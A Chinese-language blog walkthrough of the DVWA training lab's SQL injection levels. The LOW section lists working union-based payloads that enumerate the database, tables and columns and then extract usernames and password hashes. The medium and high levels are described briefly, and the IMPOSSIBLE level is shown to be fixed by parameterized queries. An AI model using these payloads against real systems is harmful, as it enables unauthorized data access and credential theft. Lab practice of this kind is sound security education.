dvwa sql Injection

文章详细阐述了SQL注入的不同级别,从LOW级别展示数字型和字符型注入的识别,到MEDUIM级别如何绕过mysql_real_escape_string防护,再到HIGH级别利用会话变量进行攻击。最后讨论了IMPOSSIBLE级别,即参数化查询的安全性,强调了防止SQL注入的策略。
摘要由CSDN通过智能技术生成

LOW

1输入1,查询成功

2输入 1 and 1 =2

又恢复,说明不是数字型注入

3输入’

4发现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

说明存在字符型注入点

5输入 1'order by 1#   有回复

6输入 1'order by 2#    也有回复

6输入 1'order by 3#,回复

Unknown column '3' in 'order clause'

说明仅有2列

7查询当前数据库

输入  1' union select 1,database()#

 得知数据库名为dvwa

8查询数据库表名

1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

9查询列名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

10查询密码(之后还需解密)

      1' union select user,password from users#

 MEDIUM

中级使用SQL注入保护的一种形式,具有 “mysql_real_escape_string()”。 但是,由于 SQL 查询的参数周围没有引号,因此这不会完全保护查询不被更改。

文本框已替换为预定义的下拉列表,并使用 POST 提交表单。

我们可以抓包

之后send to Repeater

通过修改id=1&Submit=Submit来进行sql注入

HIGH

这与低级别非常相似,但是这次攻击者以不同的方式输入值。 输入值使用另一个页面(而不是直接 GET 请求)通过会话变量传输到易受攻击的查询。

对,和low级别差不多,输入查询语句就可以了

IMPOSSIBLE

这些查询现在是参数化查询(而不是动态查询)。这意味着查询已由开发人员定义, 并区分哪些部分是代码,其余部分是数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值